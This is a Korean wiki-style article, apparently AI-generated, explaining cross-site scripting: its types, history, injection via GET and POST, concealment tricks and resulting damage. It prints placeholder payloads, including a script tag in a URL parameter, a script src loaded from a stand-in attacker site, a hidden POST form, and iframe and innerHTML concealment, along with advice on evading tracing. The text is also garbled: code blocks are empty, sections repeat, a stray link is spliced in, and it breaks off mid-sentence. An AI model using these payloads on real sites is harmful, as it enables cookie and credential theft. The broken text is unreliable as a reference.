사이트 간 스크립팅

"오늘의AI위키"는 AI 기술로 일관성 있고 체계적인 최신 지식을 제공하는 혁신 플랫폼입니다.
"오늘의AI위키"의 AI를 통해 더욱 풍부하고 폭넓은 지식 경험을 누리세요.

1. 개요

사이트 간 스크립팅(XSS)은 웹 애플리케이션의 취약점을 이용하는 공격으로, 공격자가 악성 스크립트를 삽입하여 사용자의 웹 브라우저에서 실행되도록 한다. 이는 동일 출처 정책을 우회하여 민감한 정보 탈취, 세션 하이재킹, 웹 페이지 변조 등 다양한 피해를 야기할 수 있다. XSS는 반사형, 지속형, DOM 기반 XSS 등 여러 유형으로 분류되며, GET, POST 메서드, 은폐 기법 등을 통해 공격이 이루어진다. 예방을 위해 입력 값 검증 및 필터링, 출력 값 인코딩, 콘텐츠 보안 정책(CSP) 적용, HttpOnly 쿠키 설정 등이 사용된다.

더 읽어볼만한 페이지

웹 취약점 공격 - 보안 취약점
보안 취약점은 시스템의 설계, 구현, 운영, 관리상 결함이나 약점으로, 위협에 의해 악용되어 시스템 보안 정책을 위반할 수 있는 요소이며, ISO 27005, IETF RFC 4949, NIST SP 800-30, ENISA 등 다양한 기관에서 정의하고 있다.
웹 취약점 공격 - 인터넷 보안
인터넷 보안은 사이버 위협, 악성 소프트웨어, 서비스 거부 공격 등으로부터 정보와 시스템을 보호하기 위해 네트워크 계층 보안, 다단계 인증, 방화벽 등 다양한 기술과 방법을 포괄한다.
취약점 공격 - 보안 취약점
보안 취약점은 시스템의 설계, 구현, 운영, 관리상 결함이나 약점으로, 위협에 의해 악용되어 시스템 보안 정책을 위반할 수 있는 요소이며, ISO 27005, IETF RFC 4949, NIST SP 800-30, ENISA 등 다양한 기관에서 정의하고 있다.
취약점 공격 - 인터넷 보안
인터넷 보안은 사이버 위협, 악성 소프트웨어, 서비스 거부 공격 등으로부터 정보와 시스템을 보호하기 위해 네트워크 계층 보안, 다단계 인증, 방화벽 등 다양한 기술과 방법을 포괄한다.

사이트 간 스크립팅
개요
이름	사이트 간 스크립팅
다른 이름	XSS (Cross-Site Scripting)
종류	인젝션 공격
공격 목표	쿠키 탈취 악성 웹 사이트로 리디렉션 개인 정보 탈취
공격 방법	공격자가 웹 사이트에 악성 스크립트를 삽입하여 사용자가 해당 스크립트를 실행하도록 유도
보안 취약점
CWE	CWE-79
설명
정의	웹 애플리케이션에서 사용자의 입력 값을 제대로 검증하지 않고 출력할 때 발생하는 보안 취약점
원리	공격자가 웹 사이트에 악성 스크립트를 삽입하여 다른 사용자가 해당 스크립트를 실행하게 함
영향	사용자 계정 탈취 개인 정보 유출 악성 코드 감염 웹 사이트 변조
예방 방법	입력 값 검증 및 필터링 출력 값 인코딩 콘텐츠 보안 정책 (CSP) 적용
참고 자료	OWASP Cross Site Scripting Prevention Cheat Sheet OWASP Cross-Site Scripting (XSS)
기타
주의사항	'XSS'라는 용어는 캐스케이딩 스타일 시트 (Cascading Style Sheets)와 혼동을 피하기 위해 사용됨

2. 배경

웹의 보안은 동일 출처 정책이라는 개념을 포함한 다양한 메커니즘에 의존한다. 동일 출처 정책은 한 사이트의 콘텐츠가 웹 브라우저에서 리소스(쿠키 등)에 접근할 수 있는 권한을 부여받은 경우, URI 스킴(예: ftp, http 또는 https), 호스트 이름, 포트 번호가 동일한 모든 URL의 콘텐츠가 이러한 권한을 공유한다는 것을 의미한다.^[3] 이 세 가지 속성 중 하나라도 다른 URL의 콘텐츠는 별도로 권한을 부여받아야 한다.^[3]

사이트 간 스크립팅(XSS) 공격은 웹 애플리케이션, 해당 서버 (컴퓨팅), 또는 의존하는 플러그인 시스템의 알려진 취약점을 이용한다. 공격자는 이러한 취약점 중 하나를 악용하여 손상된 사이트에서 제공되는 콘텐츠에 악성 콘텐츠를 삽입한다. 결합된 콘텐츠가 클라이언트 측 웹 브라우저에 도착하면, 모든 콘텐츠가 신뢰할 수 있는 소스에서 제공된 것처럼 보이게 되어 해당 시스템에 부여된 권한으로 작동한다. 공격자는 웹 페이지에 악성 스크립트를 삽입하여 민감한 페이지 콘텐츠, 세션 쿠키 및 사용자를 대신하여 브라우저가 유지 관리하는 다양한 기타 정보에 접근할 수 있다. XSS는 코드 인젝션의 한 사례이다.

웹사이트는 자바스크립트와 같은 클라이언트 측 스크립트를 사용하여 방문자의 행동(예: 양식에 기재한 내용)을 변수 형태로 취득하고, 취득한 변숫값에 따라 동적으로 HTML을 생성한다. 보안 관점에서 스크립트는 매우 강력한 권한을 가지므로 악용될 경우 큰 위험을 초래할 수 있다. 예를 들어, 스크립트를 사용하면 브라우저에 보관된 쿠키 내용을 읽고 쓸 수 있으며, 로그인 시 사이트에서 사용자 고유 정보를 읽고 쓸 수도 있다. 또한 이러한 정보를 다른 사이트(예: 공격자의 사이트)로 전송할 수도 있다.

웹 브라우저에는 스크립트 악용을 제한하기 위한 동일 출처 정책이 구현되어 있다. 이 정책은 "웹 페이지 1에 기재된 스크립트가 이와는 다른 웹 페이지 2에 관한 데이터에 접근할 수 있는 것은 페이지 1과 2가 동일한 '오리진'에 있는 경우뿐이다"라고 규정한다. 여기서 페이지 1과 2의 오리진이 동일하다는 것은 프로토콜, 호스트 이름, 포트 번호가 일치하는 것을 의미한다.

2. 1. 용어의 기원

마이크로소프트 보안 엔지니어들은 2000년 1월에 "사이트 간 스크립팅"이라는 용어를 처음 사용했다.^[4] 이 표현은 원래 공격자가 준비한 자바스크립트 코드를 공격 대상 도메인의 보안 컨텍스트에서 실행하여, 관련 없는 공격 사이트에서 공격받는 타사 웹 애플리케이션을 로드하는 행위(반사적 XSS)를 의미했다. 이후 이 정의는 ActiveX, Java, VBScript, Flash, 심지어 HTML 스크립트 등 영구적이고 비JavaScript 벡터를 포함한 다른 코드 인젝션 공격을 포함하는 개념으로 확장되어 정보 보안 분야의 신규 사용자에게 혼란을 야기했다.^[5]

2. 2. 역사적 배경

XSS 취약점은 1990년대부터 보고되고 악용되어 왔다. 과거에 트위터^[6], 페이스북^[7]과 같은 주요 소셜 네트워킹 사이트도 XSS 공격의 영향을 받았다. 사이트 간 스크립팅 결함은 버퍼 오버플로우를 넘어 가장 흔하게 공개적으로 보고되는 보안 취약점이 되었으며,^[8] 2007년 일부 연구에서는 웹사이트의 최대 68%가 XSS 공격에 취약할 수 있다고 추정했다.^[9]

3. 공격 유형

크로스 사이트 스크립팅(XSS) 공격은 일반적으로 다음과 같이 분류된다.

비지속적 XSS (Non-persistent XSS): 반사형(Reflected) XSS라고도 불리며, 가장 일반적인 유형이다. 웹 애플리케이션이 사용자로부터 입력받은 값을 적절하게 검증하지 않고 사용자에게 즉시 반환할 때 발생한다.
지속적 XSS (Persistent XSS): 저장형(Stored) XSS라고도 불리며, 공격자가 삽입한 악성 스크립트가 웹 서버에 저장된 후, 다른 사용자가 해당 데이터를 조회할 때마다 실행된다. 비지속적 XSS보다 더 심각한 피해를 초래할 수 있다.
DOM 기반 XSS (DOM-based XSS): 웹 서버가 아닌, 클라이언트 측(브라우저)에서 발생하는 XSS 공격이다. 웹 페이지의 자바스크립트 코드가 사용자 입력을 처리하는 과정에서 발생한다.

이 외에도 Self-XSS, Mutated XSS (mXSS) 와 같은 XSS 공격 유형이 존재한다. Self-XSS는 사회공학적 기법을 이용하며, mXSS는 브라우저가 마크업을 파싱하면서 코드가 수정되어 악성 스크립트가 실행되는 공격이다.

CWE-79에서는 XSS의 공격 기법을 다음과 같은 3가지 유형으로 분류하고 있다.^[2]

유형	설명
유형 1	반사형 크로스 사이트 스크립팅(비지속적)
유형 2	저장형 크로스 사이트 스크립팅(지속적)
유형 0	DOM 기반 크로스 사이트 스크립팅

3. 1. 비지속적 XSS (Reflected XSS)

비지속적 크로스 사이트 스크립팅(XSS) 취약점은 반사형(Reflected) XSS라고도 불리며, 가장 일반적인 유형이다.^[10] 웹 애플리케이션이 사용자로부터 입력받은 값을 적절하게 검증하거나 정화하지 않고, 즉시 사용자에게 다시 반환(reflect)할 때 발생한다.^[12]

이러한 취약점은 주로 HTTP 쿼리 매개변수(예: HTML 폼 제출)를 통해 악성 스크립트가 주입되며, [https://mtverify.com/ 검증]되지 않은 사용자가 URL 파라미터나 HTTP 요청 헤더 정보를 수정하여 공격할 수 있다.

일반적으로 사이트 검색 엔진에서 문자열을 검색하면, 검색 문자열이 결과 페이지에 그대로 다시 표시된다. 이 과정에서 HTML 제어 문자를 적절하게 이스케이프하거나 거부하지 않으면 XSS 취약점이 발생한다.^[13]

반사형 XSS 공격은 일반적으로 이메일이나 중립적인 웹 사이트를 통해 전달된다. 공격자는 신뢰할 수 있는 사이트를 가리키지만 XSS 벡터를 포함하는 URL을 사용하며, 사용자가 이 링크를 클릭하면 피해자의 브라우저에서 주입된 스크립트가 실행된다.

XSS 공격은 웹사이트('''표적 사이트''')의 취약점을 이용하여 표적 사이트의 권한으로 악의적인 콘텐츠(대부분 스크립트)를 실행하는 것을 목적으로 한다. 악의적인 콘텐츠는 표적 사이트의 권한으로 실행되므로 동일 출처 정책에 의한 제한이 우회된다. 이를 악용하여 공격자는 표적 사이트를 열람한 사용자(＝'''피해자''')의 쿠키를 탈취하는 등 다양한 공격을 수행한다.

XSS 공격에서 "웹 브라우저에서 실행 가능한 콘텐츠"는 스크립트인 경우가 많다.

웹사이트에서는 사용자가 폼 등에서 입력한 값을 변수로 가지고, 변수에 설정된 값에 따라 동적인 페이지 내용의 생성이 이루어지며, 그 때 변수 값 자체가 페이지에 표시되는 경우도 있다. XSS 취약점의 간단한 예로 '''사용자가 값을 결정할 수 있는 변수 값을 가공하지 않고 그대로 웹 페이지에 표시(에코백)해 버리는''' 경우가 있다.

XSS 취약점이 발생하는 경우

사용자가 입력한 내용을 확인·수정하는 페이지
검색 결과 표시
에러 표시
블로그나 게시판에서의 댓글 반영

예를 들어, 표적 사이트 example.com의 웹 페이지에 사용자의 성별을 선택하게 하는 폼이 있고, 사용자가 선택한 값("man" 또는 "woman")을 변수 gender에 그대로 보관하고, gender의 내용을 그대로 표시하여 폼의 내용을 사용자에게 다시 확인하게 하는 페이지를 동적으로 생성한다고 가정한다.

```html

입력한 성별은 다음과 같은 것이 맞습니까?

(gender의 값)

```

PHP로 다음과 같은 스크립트가 작성되어 있는 경우이다.

```php

```

혹은

```php

```

이러한 페이지에서, 공격자가 gender의 값을

gender=<script>(악의적인 스크립트)</script>

로 설정하고, 이 상태에서 피해자가 되는 사용자가 이 페이지에 접속해 버리면 XSS 공격은 성공한다.

표적 사이트의 웹 페이지에는 변수 gender의 값을 그대로 표시하는 페이지를 동적으로 생성해 버리는 취약점이 있으므로, 공격자가 gender를 설정한 상태에서 피해자가 되는 사용자가 이 페이지를 열람해 버리면, 웹사이트는 동적으로 생성한 HTML

```html

입력한 성별은 다음과 같은 것이 맞습니까?:

<script>(악의적인 스크립트)</script>

```

를 피해자의 브라우저에 보내기 때문에, 악의적인 스크립트가 피해자의 브라우저 상에서 자동적으로 실행되어 버린다.

웹사이트의 작성자가 gender의 값으로 "man"과 "woman"만 준비했어도, 서버 측에서 체크하지 않는 한, 공격자는 악의적인 스크립트에 gender를 설정할 수 있다.

공격자가 악의적인 스크립트를 주입하는 방법은 웹 페이지에 어떤 XSS 취약점이 존재하는지에 따라 달라진다. 폼 입력값의 두 가지 전송 방법(GET 메서드, POST 메서드)에 따라 주입 방법을 설명한다.

GET 메서드에서는 변수 값이 URL에 명시되므로, 폼 내용을 사용자에게 재확인시키는 페이지의 URL은

http://example.com/?gender= (폼에서 입력한 값)

과 같은 형태를 띈다.

따라서 공격자는 피해자가 될 사용자에게 다음 URL에 접근하도록 유도한다.

http://example.com/?gender=<script> (악의적인 스크립트) </script>

그러면 gender가 악의적인 스크립트로 설정된 페이지를 피해자가 열람하게 되므로 공격이 성공하게 된다.

여기서 중요한 것은, 위 URL이 "http://example.com/"으로 시작한다는 점이다. 이것이 원인이 되어 사용자는 example.com의 아무런 문제가 없는 웹 페이지라고 오해하고 위 URL을 클릭할 가능성이 있다.

URL 길이에 상한이 있는 관계상, 삽입할 수 있는 스크립트의 길이가 제한되어 공격자가 수행할 수 있는 공격 종류가 제한된다.

길이에 제한이 없는 스크립트를 삽입하려면, 공격자는 자신의 사이트를 개설하고, 거기에 악의적인 스크립트 "http://(공격자의 사이트 상의 악의적인 스크립트)"를 올려놓은 다음, 피해자에게

http://example.com/?gender=<script src="http://(공격자의 사이트 상의 악의적인 스크립트명)"></script>

를 열람하게 하면 된다.

하지만 이 공격의 경우, 공격자 사이트의 URL이 웹 서버 로그에 남으므로, 이를 단서로 서버 관리자가 공격자를 특정할 가능성이 있다. 따라서 공격자는 자신의 사이트 위치를 빈번하게 변경하는 등 추적을 피할 수단을 강구해야 한다.
반사형 XSS는 공격자가 악의적인 데이터 D를 웹 페이지 P의 URL 등에 포함시키고, D로 인해 웹 애플리케이션이 생성하는 P의 HTML 본문 등에 악성 스크립트가 포함되도록 한다. 피해자가 웹 페이지 P의 URL을 클릭하면 P의 내용과 함께 악성 스크립트가 피해자의 브라우저로 전송되어 브라우저에서 악성 스크립트가 실행되면서 피해가 발생한다. 따라서 공격자가 반사형 XSS 취약점을 이용하려면, 피해자를 P로 유도할 방법을 별도로 생각해야 한다.

반사형 XSS에서 공격자가 피해자를 웹 페이지 P로 유도하는 방법은 주로 두 가지가 있다.

첫 번째 방법은, 표적 사이트와는 다른 웹 사이트(공개 게시판이나 공격자 자신의 웹 사이트 등)에 P의 URL을 게시하고, 피해자가 P의 링크를 클릭하도록 기다리는 방법이다.
두 번째 방법은 표적 사이트인 것처럼 위장하여 피해자에게 이메일을 보내고, 해당 이메일 본문에 P의 URL을 기재하여 피해자가 P를 열람하도록 유도하는 방법이다.

3. 2. 지속적 XSS (Stored XSS)

지속적 XSS는 저장형(Stored) XSS라고도 불리며, 공격자가 삽입한 악성 스크립트가 웹 서버의 데이터베이스나 파일 시스템 등에 저장된 후, 다른 사용자가 해당 데이터를 조회할 때마다 실행되는 방식이다.^[12] 주로 온라인 게시판, 블로그 댓글 등 사용자가 콘텐츠를 업로드할 수 있는 곳에서 발생하며, 비지속적 XSS보다 더 심각한 피해를 초래할 수 있다. 공격 대상이 특정되지 않고, 불특정 다수에게 영향을 미칠 수 있기 때문이다.

예를 들어, 회원들이 서로의 프로필을 확인하는 데이트 웹사이트가 있다고 가정해 보자. 개인 정보 보호를 위해 이름과 이메일은 숨겨져 있고, 회원 본인만 로그인했을 때 볼 수 있다. 공격자는 다른 회원의 정보를 빼내기 위해, 자신의 프로필에 악성 스크립트를 삽입한다. "가장 이상적인 첫 데이트"를 묻는 질문에 짧은 답변과 함께, 다른 사용자의 이름과 이메일을 훔치는 스크립트를 ``<script>` 요소 안에 넣어 숨긴다. 다른 회원이 공격자의 프로필을 보면, 스크립트가 자동으로 실행되어 이름과 이메일 정보가 공격자에게 전송된다.^[14]

이처럼 저장형 XSS는 공격자가 악성 스크립트를 웹사이트의 데이터 저장소에 직접 저장하기 때문에, 반사형 XSS와 달리 피해자가 특정 URL을 클릭하도록 유도할 필요가 없다. 특히 소셜 네트워킹 사이트에서는 코드가 계정 간에 자동으로 전파되도록 설계될 수 있어, 클라이언트 측 컴퓨터 웜과 같은 형태로 퍼져나갈 수 있다.^[14]

3. 3. DOM 기반 XSS (DOM-based XSS)

DOM 기반 XSS는 웹 서버가 아닌, 클라이언트 측(브라우저)에서 발생하는 XSS 공격이다. 웹 페이지의 자바스크립트 코드가 사용자 입력을 처리하는 과정에서 발생하는 취약점으로, 악성 데이터가 웹 서버에 도달하지 않고 브라우저 내에서 처리된다는 특징이 있다.^[15]

DOM 기반 XSS의 예로는 2011년에 여러 jQuery 플러그인에서 발견된 버그가 있다.^[16]

DOM 기반 XSS 공격은 서버 측의 보안 조치로는 예방하기 어렵기 때문에, 클라이언트 측의 자바스크립트 코드 작성 시 각별한 주의가 필요하다. 입력 유효성 검사 및 이스케이프와 같은 예방 전략은 자바스크립트 코드에서 구현되어야 한다.^[17] 앵귤러JS와 같은 일부 자바스크립트 프레임워크는 자체적인 대응책을 가지고 있다.^[18]

반사형 및 저장형 XSS와는 달리, DOM 기반 XSS는 웹 애플리케이션이 아닌 사용자 클라이언트(브라우저 등)가 악성 스크립트를 포함한 웹 페이지를 생성하여 발생한다. 일반적으로 사용자가 웹사이트에 접속하면, 웹 애플리케이션은 사용자 클라이언트에게 (악의 없는 정규) 스크립트를 포함한 HTML을 반환한다. 사용자 클라이언트는 이 HTML을 받아 스크립트를 실행하여 HTML을 수정하고 화면에 출력할 최종 HTML을 얻는다. DOM 기반 XSS는 이 메커니즘을 악용하여, 사용자 클라이언트 측에서 실행되는 스크립트에 부정한 데이터를 주입하여 XSS 공격을 실행한다.

웹 애플리케이션 측에서는 DOM 기반 XSS 공격을 감지하거나 방지할 수 없다. 이는 DOM의 구조상, 스크립트에 주입되는 부정한 데이터가 웹 애플리케이션이 아닌 사용자 클라이언트 측에서 획득되고 실행되기 때문에, 웹 애플리케이션 측에는 부정한 데이터가 전혀 전달되지 않기 때문이다.

3. 4. Self-XSS

Self-XSS는 피해자가 악성 JavaScript 코드를 브라우저에서 실행하도록 속이기 위해 사회공학적 기법에 의존하는 XSS 취약점의 한 형태이다. 기술적으로 공격자가 수행할 수 있도록 하는 영향을 받는 웹사이트의 결함이 아닌, 사용자가 코드를 실행하도록 사회공학적 기법에 의존한다는 사실 때문에 진정한 XSS 취약점은 아니지만, 제대로 실행될 경우 일반 XSS 취약점과 동일한 위험을 초래한다.^[19]

3. 5. Mutated XSS (mXSS)

변형된 XSS(mXSS)는 공격자가 겉보기에는 안전해 보이는 코드를 삽입하지만, 브라우저가 마크업을 파싱하는 과정에서 코드가 다시 작성되고 수정되어 악성 스크립트가 실행되는 공격이다. 웹사이트의 애플리케이션 로직 내에서 탐지하거나 무해화(sanitization)하기가 매우 어렵다. 예를 들어, 닫히지 않은 따옴표의 균형을 다시 맞추거나, CSS font-family에 따옴표가 없는 매개변수에 따옴표를 추가하는 경우가 있다.

XSS 공격은 웹사이트('''표적 사이트''')의 취약점(XSS 취약점)을 이용하여 표적 사이트의 권한으로 악의적인 콘텐츠(대부분 스크립트)를 실행하는 것을 목적으로 한다.^[1] 악의적인 콘텐츠는 표적 사이트의 권한으로 실행되므로 동일 출처 정책에 의한 제한이 우회된다.^[1] 이를 악용하여 공격자는 표적 사이트를 열람한 사용자('''피해자''')의 쿠키를 탈취하는 등 다양한 공격을 수행한다.

CWE-79에서는 XSS 공격을 다음과 같은 공격으로 특징짓고 있으며, XSS 취약점을 XSS 공격을 가능하게 하는 취약점으로 특징짓고 있다.^[2] XSS 공격을 수행하는 공격자는 표적 사이트에 대한 데이터 입력 경로에 부정한 데이터를 주입('''인젝션''')한다. 여기서 말하는 "데이터 입력 경로"는 정규 사용자를 위해 마련된 입력 경로(예: 폼)일 수도 있고 그렇지 않을 수도 있으며, 표적 사이트의 웹 애플리케이션에 대한 웹 요청 전반이 노려진다.^[2] 또한 부정 데이터는 스크립트 등 웹 브라우저에서 실행 가능한 악의적인 콘텐츠를 포함하는 것이 사용된다.

이 인젝션의 결과, 표적 사이트의 웹 서버가 공격자가 준비한 부정 데이터를 포함하는 웹 페이지를 동적으로 생성한다.^[2] 이렇게 생성된 웹 페이지를 피해자가 되는 사용자가 열람하면, 부정 데이터에 포함된 악의적인 콘텐츠가 표적 사이트의 권한에 의해 피해자의 브라우저에서 실행되어 공격이 성공한다.^[2]

XSS 공격에 사용하는 "웹 브라우저에서 실행 가능한 콘텐츠"는 어떠한 스크립트인 경우가 많으므로, 특별한 언급이 없는 한 스크립트의 경우에 대해 설명한다.

4. 공격 방법 (예시)

```

이렇게 하면 방명록을 보는 사용자의 쿠키가 해커에게 전송된다.^[10]^[11]^[12]

웹 페이지에서 사용자가 폼 등에 입력한 값을 변수로 처리하고, 이 변수 값을 페이지에 그대로 표시하는 경우 XSS 취약점이 발생할 수 있다. 주로 다음과 같은 상황에서 취약점이 자주 발생한다.

사용자가 입력한 내용을 확인·수정하는 페이지^[11]
검색 결과 표시^[11]
에러 표시^[11]
블로그나 게시판에서의 댓글 반영^[11]

예를 들어, 사용자가 성별을 선택하는 폼에서 선택한 값(`gender`)을 그대로 표시하는 페이지를 생각해보자. PHP 코드는 다음과 같을 수 있다.

```php

```

또는

```php

```

공격자는 `gender` 변수에 `<script>(악의적인 스크립트)</script>`와 같은 값을 설정하여 스크립트 인젝션을 시도할 수 있다. 피해자가 이 페이지에 접속하면 악성 스크립트가 실행되어 공격이 성공한다. 웹사이트에서 `gender` 값으로 "man" 또는 "woman"만 허용하더라도, 서버 측에서 값을 검증하지 않으면 공격자는 다른 값을 설정할 수 있다는 점을 악용하는 것이다.

4. 1. GET 메서드를 이용한 삽입

GET 메서드는 URL에 변수 값을 포함하여 데이터를 전송하는 방식이다. 공격자는 URL에 악성 스크립트를 포함시켜 피해자에게 전달하고, 피해자가 해당 URL을 클릭하면 공격이 실행된다.^[10]^[11]^[12]

예를 들어, 표적 사이트 example.com의 웹 페이지에 사용자의 성별을 선택하는 폼이 있고, 사용자가 선택한 값("man" 또는 "woman")을 `gender` 변수에 저장한다고 가정한다. 이때, GET 메서드를 사용하면 폼 내용을 사용자에게 재확인시키는 페이지의 URL은 다음과 같은 형태가 된다.

`http://example.com/?gender=(폼에서 입력한 값)`

공격자는 피해자에게 다음 URL에 접근하도록 유도한다. (예를 들어, example.com을 위장한 피싱 이메일에 이 URL을 기재하는 방식 등으로)^[13]

`http://example.com/?gender=<script> (악의적인 스크립트) </script>`

그러면 `gender` 변수에 악의적인 스크립트가 설정된 페이지를 피해자가 열람하게 되므로 공격이 성공한다.

이 URL은 `http://example.com/`으로 시작하기 때문에, 사용자는 example.com의 문제 없는 웹 페이지라고 오해하고 URL을 클릭할 가능성이 있다.

URL 길이에는 상한이 있기 때문에 삽입할 수 있는 스크립트의 길이가 제한되어 공격자가 수행할 수 있는 공격의 종류가 제한된다.

길이 제한이 없는 스크립트를 삽입하려면, 공격자는 자신의 사이트를 개설하고, 거기에 악의적인 스크립트를 올려놓은 다음, 피해자에게

`http://example.com/?gender=<script src="http://(공격자의 사이트 상의 악의적인 스크립트명)"></script>`

를 열람하게 하면 된다.

하지만 이 경우, 공격자 사이트의 URL이 웹 서버 로그에 남으므로, 서버 관리자가 공격자를 특정할 가능성이 있다. 따라서 공격자는 자신의 사이트 위치를 빈번하게 변경하는 등 추적을 피할 수단을 강구해야 한다.

4. 2. POST 메서드를 이용한 삽입

POST 메서드를 이용한 XSS 공격은 URL에 변수 값이 나타나지 않더라도 가능하다. 공격자는 별도의 웹사이트, 즉 '함정 사이트'를 만들어 악성 스크립트를 숨긴 폼(form)을 작성한다.^[12]

공격자는 다음과 같은 HTML 코드를 함정 사이트에 작성한다.

```html

```

피해자가 이 함정 사이트를 방문하면, 숨겨진 `input` 태그에 의해 `gender` 변수에 악성 스크립트가 설정된 채로 표적 사이트(예: `http://example.com/`)로 폼 데이터가 전송된다. `input` 태그가 `hidden` 속성을 가지므로, 악성 스크립트는 피해자의 화면에 보이지 않는다. 결과적으로 피해자는 XSS 공격을 인지하지 못한 채 피해를 입게 된다.

4. 3. 은폐 공작

XSS 공격을 수행하는 공격자는 피해자가 공격을 알아차리지 못하도록 여러 가지 은폐 기법을 사용한다.

공격자는 악성 스크립트 부분 앞에 `document.body.innerHTML=""`라는 JavaScript 코드를 넣어 HTML 본문을 완전히 삭제함으로써, 공격을 숨길 수 있다.

또 다른 방법으로는, 덫 사이트에서 HTML의 `iframe` 태그와 CSS를 사용하는 방법이 있다. 공격자는 `iframe` 태그를 사용하여 악성 스크립트가 삽입된 표적 사이트의 URL을 불러온다. 그런 다음 CSS를 사용하여 `iframe`의 내용이 보이지 않도록 숨긴다.^[1] 이렇게 하면 피해자가 덫 사이트를 방문했을 때, `iframe`을 통해 자동으로 악성 스크립트가 삽입된 표적 사이트가 로드되어 공격이 이루어진다.

이러한 은폐 방식은 다음과 같은 이점이 있다.

`iframe`은 CSS로 숨겨져 있기 때문에, 피해자는 표적 사이트와 전혀 관계없는 덫 사이트를 보는 것만으로 공격을 당하게 된다.
덫 사이트의 URL에는 부자연스러운 부분이 없으므로, 피해자는 덫 사이트와 일반 사이트를 구별하기 어렵다.^[2]

`iframe`과 CSS를 이용한 은폐는 GET 및 POST 메서드 모두에 사용될 수 있다.^[3]

4. 4. 삽입 위치

XSS 공격은 웹사이트의 취약점을 이용하여 악의적인 콘텐츠(대부분 스크립트)를 실행하는 것을 목적으로 한다. HTML 내에서 공격자가 악의적인 스크립트를 삽입할 수 있는 위치는 다음과 같다.

# 폼 등 변수 값을 입력할 수 있는 장소^[3]

# 스크립트 문

## 내부^[3] 및 의 URL 원격 참조^[3]

## 태그의 style 속성 및 이벤트 핸들러 속성 내 스크립트 기술^[3] (예:

, )^[3]

## URL을 속성값으로 취할 수 있는 요소 (예: a 요소의 href와 img^[4], frame과 iframe의 src 속성)^[4] 및 거기에서의 스크립트 직접 기술^[3]

URL로 `javascript:(JavaScript 문)` 형식(javascript^영어 스키마)을 이용하여 JavaScript^영어를 주입할 수 있다^[4]。

5. 피해 사례

공격자는 XSS를 사용하여 다음과 같은 피해를 발생시킬 수 있다.

대상 사이트의 변수 값이나 쿠키 등으로부터 정보 유출^[1]
세션 하이재킹^[2]
기능의 부정한 실행^[2]
웹사이트의 개찬 (단, 공격자가 준비한 URL에서 접속한 경우에 한함)^[2]
악의적인 스크립트에 의해 웹 페이지를 개조하여 비밀번호나 신용카드 번호를 입력하는 양식을 웹 페이지에 추가하고, 사용자로부터 이러한 정보를 훔치는 (피싱 사기)^[1]
악의적인 스크립트를 사용하여 브라우저의 취약점을 노려 사용자 단말을 탈취^[1]
웜 실행^[2]

공격자는 대상 사이트 example.com에서 임의의 스크립트를 실행할 수 있으므로, 예를 들어 스크립트에 다음과 같은 HTML 폼을 생성시켜 사용자가 입력한 ID/비밀번호를 공격자 사이트로 전송할 수 있다.

로그인하십시오:

ID

비밀번호

6. 예방 대책

XSS 공격을 예방하기 위한 다양한 대책들이 존재한다.

입력 값 검증 및 필터링: 사용자가 입력한 값에 악의적인 스크립트가 포함되지 않도록 `